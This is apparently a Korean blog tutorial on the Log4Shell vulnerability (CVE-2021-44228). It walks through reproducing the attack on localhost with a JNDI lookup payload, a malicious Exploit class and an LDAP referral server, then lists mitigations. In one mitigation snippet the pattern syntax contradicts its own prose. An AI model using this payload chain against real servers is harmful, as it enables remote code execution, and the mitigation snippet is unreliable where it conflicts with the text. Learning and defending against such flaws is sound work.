Apache Log4j Remote Code Execution
개요
- 12.10 9:40 KST에 Advisory Database에 CVE-2021-44228 에 기재된 보안 취약점.
- 아파치 소프트웨어 재단의 log4j 라이브러리에 있는 보안취약점이다.
- log4j (2.15.0 미만의 버전 )에서 JNDI API가 메세지로 파싱될때 실행되는 점을 이용한 공격이다.
logger.error("${jndi:ldap://127.0.0.1:1389/Exploit}"); // jndi API가 실행된다.
컴퓨터 역사상 최악의 보안 취약점으로 기억 될만큼 파장이 클 것으로 예상된다.
https://www.wired.com/story/log4j-flaw-hacking-internet/
https://m.etnews.com/20211212000028
공격 방법
https://github.com/tangxiaofeng7/CVE-2021-44228-Apache-Log4j-Rce
위 깃 레포를 토대로 재현해볼수 있다.
1. git repo를 clone 받는다
git clone https://github.com/tangxiaofeng7/apache-log4j-poc.git
2. 악성 코드가 들어가있는 Exploit.java를 class파일로 컴파일 시켜놓는다.
cd apache-log4j-poc/src/main/java
javac Exploit.java
java 폴더 내부에 Exploit.class 파일이 들어가 있다.
3. python의 SimpleHTTPServer로 8888 포트에 java 폴더에서 서버를 띄운다.
python -m SimpleHTTPServer 8888
# Serving HTTP on 0.0.0.0 port 8888 ...
4. ldap을 이용한 네트워크 디렉토리 서버를 생성한다.
LDAP ( Lightweight Directory Access Protocol ) - 조직이나, 개체, 그리고 인터넷이나 기업 내의 인트라넷 등 네트웍 상에 있는 파일이나 장치들과 같은 자원 등의 위치를 찾을 수 있게 해주는 소프트웨어 프로토콜
cd tools
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://127.0.0.1:8888/#Exploit"
# Listening on 0.0.0.0:1389
1389 포트에 8888 포트에서 열어둔 서버에 연결된 LDAP 서버를 생성시켰다.
여기까지 악성 코드가 담긴 파일 Exploit.class 를 올려둔 LDAP 서버를 생성시켰다.
이제 공격당할 서버내에 있는 log4j라이브러리에서 우리가 만든 LDAP에 접근하여 Exploit.class 를 실행시켜 보자.
5. log4j라이브러리 (2.14.1) 다운로드
<!-- pom.xml -->
<dependencies>
<!-- https://mvnrepository.com/artifact/org.apache.logging.log4j/log4j-core -->
<dependency>
<groupId>org.apache.logging.log4j</groupId>
<artifactId>log4j-core</artifactId>
<version>2.14.1</version>
</dependency>
<!-- https://mvnrepository.com/artifact/org.apache.logging.log4j/log4j-api -->
<dependency>
<groupId>org.apache.logging.log4j</groupId>
<artifactId>log4j-api</artifactId>
<version>2.14.1</version>
</dependency>
</dependencies>
6. log4.j 실행
logger.error("${jndi:ldap://127.0.0.1:1389/Exploit}");
> jndi API 를 통해 우리가 띄어놓은 1389포트에서 Exploit.class를 실행시키는 로직.
jndi (Java Naming and Directory Interfce ) 란 디렉터리 서비스에서 제공하는 데이터 및 객체를 발견( discover )하고 참고 ( lookup )하기 위한 자바 API이다.
Exploit에 연락처 앱을 실행시키도록 하는 로직이 들어가 있고.
그 파일을 log4j에서 jndi api를 통해 localhost:1389을 통해 접근 하여 실행시킬 수 있었다.
같은방법으로 공격할 서버로그 ( log4j ) 를 이용해,
공격자의 악성코드가 담긴 파일을 강제로 실행시키는 공격이 가능하다.
방어 방법
알려진 방어 방법으로는 log4j를 2.15.0 버전으로 업데이트 하는 것을 추천하고있다.
2.15.0 이하 2.10.0 이상 버전에서는 Dlog4j2.formatMsgNoLookups=true 인자를 추가하여 방어할 수 있다.
java -Dlog4j2.formatMsgNoLookups=true -jar app.jar
2.10.0 미만 2.7.0 이상 버전에서는 log4.xml에서 %m을 %m{nolookups}으로 교체하여 방어할 수 있다.
<SystemPropertyArbiter propertyName="env" propertyValue="dev">
<Console name="Out">
<PatternLayout pattern="$m{nolookups}%n"/><!-- %m => $m{nolookups} -->
</Console>
</SystemPropertyArbiter>
logback과 같은 다른 라이브러리로 대체하여 방어할 수도 있다.
참조 사이트
- https://github.com/greymd/CVE-2021-44228
- https://jabcholove.tistory.com/89
- https://go-coding.tistory.com/76